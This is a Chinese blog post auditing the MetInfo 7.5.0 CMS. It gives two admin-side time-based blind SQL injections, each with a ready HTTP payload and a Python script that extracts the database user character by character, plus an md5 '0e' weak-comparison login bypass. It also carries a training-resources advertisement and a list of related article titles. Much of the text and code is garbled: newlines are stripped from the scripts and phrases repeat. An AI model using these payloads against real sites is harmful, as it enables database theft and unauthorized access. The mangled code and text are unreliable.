0x00:环境说明

Windows 10
Phpstuby
Php版本:7.2.9
CMS版本:MetInfo7.5.0

0x01:目录结构

|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload

0x02:开始审计

**注意:**以下漏洞均已被CNVD收录

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

SQL注入

CMS的安装就略过了,该项目的控制器目录是app,直接从app目录下的文件开始审。
在文件 app\system\user\admin\parameter.class.php 下的 doDelParas 函数,表单的 id 被传递给了 delete_para_value 方法,跟进该方法。

在文件 app/system/parameter/include/class/parameter_database.class.php 的 delete_para_value 函数可以看到传入的 id 被直接拼接到sql语句中,继续跟进到 DB::query($query)。

在文件 app/system/include/class/mysql.class.php 的 query 函数下,sql 语句被传递给了 self::$link->query 方法,跟进变量 $link 可以看到已经是 mysql对象了。

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: cms.cn
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)

测试结果如下,成功触发基于时间的布尔盲注延时2秒,id 164是当前表默认存在的。(原谅我的厚码,大家知道就好)

编写python脚本跑出用户名

import requestsurl = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):for i in range(30, 150):data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i)resp = req.post(url, data=data, headers=headers, proxies=proxies)if resp.elapsed.total_seconds() > 1.5:result += chr(i)print(result)

SQL注入

在文件 app\system\parameter\admin\parameter_admin.class.php 的 doparasave 函数下跟进 table_para 方法,table_para 方法接收了两个表单参数,M[‘form’]接收表单的所有键值对,_M[‘form’] 接收表单的所有键值对,M​[‘form’]接收表单的所有键值对,_M[‘form’][‘module’] 接收表单的module参数。

在table_para 函数,需要构造表单的内容使数据能传入到update_para_list或insert_para_list方法,这两个方法都可以触发sql注入,这里我选择使用insert_para_list来触发。

跟进到insert_para_list方法,field[‘options’]的数据需要是json格式,field[‘options’]的数据需要是json格式,field[‘options’]的数据需要是json格式,options的一个值需要是数组,使foreach之后option是数组,然后option是数组,然后option是数组,然后module的数据就赋值给$option[‘module’]。

进入 app\system\parameter\include\class\parameter_database.class.php 文件的add_para_value方法,可以看到 $option[‘module’] 被直接拼接到sql语句并且没有使用单引号,这里就导致了sql注入。

捋一下思路,我们需要构造 $_M[‘form’] 表单让方法能正常调用以下流程
doparasave -> table_para -> insert_para_list -> add_para_value
而 $_M[‘form’][‘module’] 表单则构造sql语句。

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn
Content-Length: 126
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)

测试结果如下,成功触发基于时间的布尔盲注延时差不多1秒。

python脚本:

import requestsurl = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''for mid in range(15):for i in range(30, 150):data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i)resp = req.post(url, data=data, headers=headers, proxies=proxies)if resp.elapsed.total_seconds() > 0.8:result += chr(i)print(result)

md5弱类型比较

在文件 app/system/user/web/login.class.php 的 dologin函数下,$this->login 方法接收了表单的username与password,跟进该方法。

在login函数中继续跟进到 $this->userclass->login_by_password 方法。

在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 $user 从方法 this−>getuserbyusername(this->get_user_by_username(this−>getu​serb​yu​sername(username); 获取了数据库查询的会员数据。表单的password被进行了md5加密,然后与 $user[‘password’] 进行了比较,由于使用了两个等于号,所以存在md5弱类型比较漏洞。(经常打ctf的应该都知道)

漏洞复现

首先注册一个账号 abab,密码设置为md5加密后为0e开头的字符串。

登录时使用md5加密后为0e开头的字符串即可。

结语

可以发现大部分是后台的漏洞,前台防的比较紧,不过这些漏洞CNVD都是收录的。

网络安全审计之CMS代码审计相关推荐

  1. 信安教程第二版-第12章网络安全审计技术原理与应用

    第12章 网络安全审计技术原理与应用 12.1 网络安全审计概述 227 12.1.1 网络安全审计概念 227 12.1.2 网络安全审计相关标准 227 12.1.3 网络安全审计相关法规政策 2 ...

  2. 信息收集之基础端口扫描《诸神之眼——Nmap网络安全审计技术揭秘》总结一

    端口扫描 <诸神之眼--Nmap网络安全审计技术揭秘>总结 手动端口扫描 Nmap Nmap的基本操作 活跃主机发现技术 基于ARP协议的活跃主机发现技术 基于ICMP协议的活跃主机发现技 ...

  3. 信安软考 第十二章 网络安全审计技术

    一.网络安全审计概述 网络安全审计是指对网络信息系统的安全相关活动信息进行获取.记录.存储.分析和利用的工作.网络安全审计的作用在于建立"事后"安全保障措施,保存网络安全事件及行为 ...

  4. 天玥网络安全审计系统(互联网型)

    目 录 1. 产品简介 3 2. 系统组成 4 3. 应用方式 4 4. 功能简述 6 4.1. 产品核心技术 7 4.2. 协议分析能力 7 5. 天玥产品功能 7 5.1. 网络旁路监听部署 8 ...

  5. 【第12章】网络安全审计技术原理与应用 (信息安全工程师)

    第12章 网络安全审计技术原理与应用 12.1 网络安全审计概述 12.1.1 网络安全审计概念 网络安全审计是指对网络信息系统的安全相关活动信息进行获取.记录.存储.分析和利用的工作.网络安全审计的 ...

  6. 第12章 网络安全审计技术原理与应用

    第12章 网络安全审计技术原理与应用 独立事件的定义: P(A|B)=P(A) P(A)>0 P(B)>0 P(A|B)=P(A)XP(B) P(A|B)= 12.1 网络安全审计概述 1 ...

  7. 天玥网络安全审计系统

    天玥网络安全审计系统主要实现对三类网络操作行为的审计: 业务操作:指业务操作人员或业务应用系统对后台相关数据库的操作行为. 运维操作:指运维人员对IT支撑系统中的基础组件(主机.路由器.交换机.操作系 ...

  8. 什么是网络安全审计?网络安全审计的作用...

    网络安全审计通过对网络数据的采集.分析.识别,实时动态监测通信内容.网络行为和网络流量,发现和捕获各种敏感信息.违规行为,实时报警响应,全面记录网络系统中的各种会话和事件,实现对网络信息的智能关联分析 ...

  9. 解决使用堡垒机(天玥网络安全审计系统)总是提示控件加载超时的情况

    在使用堡垒机(天玥网络安全审计系统)访问服务器,点击连接后跳出如下弹窗: 在加载一段时间后,弹窗会显示: 用检测助手检测后要么是浏览器版本过高,要么是java版本问题,很麻烦. 解决这个问题的方法很简 ...

最新文章

  1. Kubernetes-基于EFK进行统一的日志管理
  2. java arraylist排序_Java 开发者最容易犯的10个错误【译】
  3. 一次上机试题(面向对象)
  4. 文档类CDocument、子框架类CFrameWnd及视图类CView的关系及如何相互调用
  5. 与protected成员有关的单元测试方式
  6. Django之创建应用以及配置路由
  7. ES6扩展运算符的几个小技巧
  8. python创意实用案例-python实用案例
  9. 深度学习自学(九):Alexnet解读
  10. HTTP Basic Authentication
  11. js根据出生日期计算年龄及根据年龄计算出生日期
  12. 阿里巴巴的AI价值观,以及“ET大脑”战略
  13. XV6实验-Lab1 Syscalls
  14. 列出一些既好玩又能提高英语水平的电脑游戏
  15. 如何linux删除文件夹,linux删除文件夹,教您电脑的linux怎么样删除文件夹
  16. illustrator插件-拼版功能开发-一键拼版-js脚本开发-ai插件
  17. 数据存储:私有云的好处
  18. delphi RichEdit控件中插入GIF动画表情
  19. 二级导航菜单使用方法以及常见问题
  20. 【合辑】点云基础知识及点云催化剂软件功能介绍

热门文章

  1. HDU 4417 Super Mario(划分树)
  2. 10年后,从新开始...
  3. bat实现 自动循环打开谷歌浏览器自动访问网站关闭浏览器功能
  4. 四舍五入VS银行家舍入 (四舍六入五取偶)
  5. ZYNQ-XADC使用
  6. WGS84(GPS坐标) BD09坐标(百度坐标)GCJ02(国测局坐标) 的相互转换
  7. 自动化运维初级村-Netmiko-巡检-2
  8. Vue项目中使用Tinymce
  9. script 脚本标签中 defer 和 async (延缓 和 异步)
  10. User32.dll详细介绍